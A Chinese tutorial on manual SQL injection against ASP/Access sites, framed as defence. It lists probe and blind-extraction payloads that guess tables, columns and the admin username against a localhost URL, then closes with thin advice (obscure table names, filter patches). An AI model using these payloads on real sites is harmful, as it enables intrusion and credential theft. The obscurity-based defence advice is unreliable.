从手工注入看防御之Access

很多情况下，入侵者在使用工具注入时发现工具才解不出来表名和字段名，那是因为所有的工具都有自己的一部字典，这部字典内包括了表名和字段名，如果管理员把表名和字段名改成了不在这部字典内，那么我们使用的工具将无法猜解出字段名和表名。在以下的文章中，将从分析手工注入出发，来打造抵御SQL注入的防线。

　　入侵者将会构造简单的判断条件，来判断该页面是否存在注入漏洞，一般步骤如下:

　　这里要检测的页面为http://127.0.0.1/111/view.asp?id=198

　　1.入侵者要想对站点进行手工注入就必须对浏览器进行设置，以保证手工注入时能返回出错信息，其操作步骤如下:

　　右键点击浏览器选择“属性”，在弹出来的对话框中选择“高级”选项卡。如下图所示:

图一

　　接着去掉“显示友好的HTTP错误信息”前面的钩，最后点击“应用”按钮即可。

　　2.入侵者向浏览器提交如下url:

　　http://127.0.0.1/111/view.asp?id=198 and 1=1

　　如果存在SQL注入漏洞，就可以查询数据库，1=1是一个恒等式可以忽略，因此会返回一个正常的页面，此页面和http://127.0.0.1/111/view.asp?id=198一样，这时入侵者便判断此站有希望被注入。如果返回的是一些错误信息，那么一些初级的入侵者可能就会放弃这个站点。

　　3.入侵者进一步向浏览器提交如下url:

　　http://127.0.0.1/111/view.asp?id=198 and 1=2

　　1=2为一个恒不等式,如果该站点支持数据库查询,则大概会返回如下图所示的信息:

图二

　　一般出现上图所示入侵者就基本确定此站能够进行SQL注入攻击了。

　　不过很多时候入侵者只需用一个单引号即可快速判断出目标站点是否存在SQL注入漏洞，向浏览器提交如下url:

　　http://127.0.0.1/111/view.asp?id=198’如果返回如下信息则说明有一半机会以上存在注入漏洞:

　　Microsoft OLE DB Provider for ODBC Drivers 错误’80040e14’

　　[Microsoft] [ODBC Microsoft Access Driver]字符串的语法错误在查询表达式’id =1’’中。/list.asp,行50

　　4.此时入侵者开始构造特殊的SQL查询语句开始查询站点数据库的表名，向url提交如下语句:

　　http://127.0.0.1/111/view.asp?id=198 and exists(select * from admin)

　　这个语句是向数据库查询是否存在admin这个表，如果存在则返回正常页面，如果不存在此表则返回出错页面。一般入侵者会先测试常用的表名，也是一般的注入工具密码字典内存在的表名和字段名。如果表名不在常用表名中则入侵者就会结合社会工程学来猜解表名，这种情况下入侵者猜中表名的几率较低。

　　5.入侵者在得到表名后开始构造查询语句查询数据库字段名，向url提交如下语句:

　　http://127.0.0.1/111/view.asp?id=198 and exists(select user from admin)

　　这个语句是向数据库中admin表中查询是否存在user字段，如果存在则返回正常页面，如果不存在则返回出错页面。

　　7.接下来入侵者开始确定字段id的值，构造如下语句可以查询id的值:http://127.0.0.1/111/view.asp?id=198 and exists (select id from admin where id=1)

　　正确则返回正确页面，错误则返回出错页面。

　　6.表名和字段名猜测出来以后，入侵者开始构造查询语句猜测管理员帐号长度，向url提交如下语句:

　　http://127.0.0.1/111/view.asp?id=198 and exists(select id from admin where len(user)<6 and id=1)

　　此语句为查询user字段中用户名长度范围，表示长度小于6，正确则返回正常页面，错误则返回出错页面。

　　缩小范围，然后构造如下语句确定用户名具体长度:

　　http://127.0.0.1/111/view.asp?id=198 and exists(select id from admin where len(user)=5 and id=1)

　　正确则返回正常页面，错误则返回出错页面。

　　8.接下来入侵者开始进入最后的环节构造语句查询管理员用户名，向url提交如下语句:http://127.0.0.1/111/view.asp?id=198 and exists(select count(*) from admin where left(user,1)='a')

　　此语句是从用户名左边开始猜测用户名地一位为a，正确则返回正常页面，错误则返回出错页面，一位一位猜，猜第2位时，修改语句为(user,2)='ad'，后面类推。

　　在入侵者得到用户名密码以后，此次注入就接近尾声了。

　　至于防范方法很简单，从上面的过程可以看出如果表名和字段名不在常用表名和字段名中则入侵者是使用社会工程学来猜解，如果管理员修改的表名和字段名足够复杂则入侵者依然不能达到目的，还有一种简单的防御方法就是到网上去下载一些防注入补丁程序打上就可以了，这种方法是修改站点文件，增加过滤语句来过滤入侵者提交的语句来达到防注入的，这里就不再给大家讲解其原理了。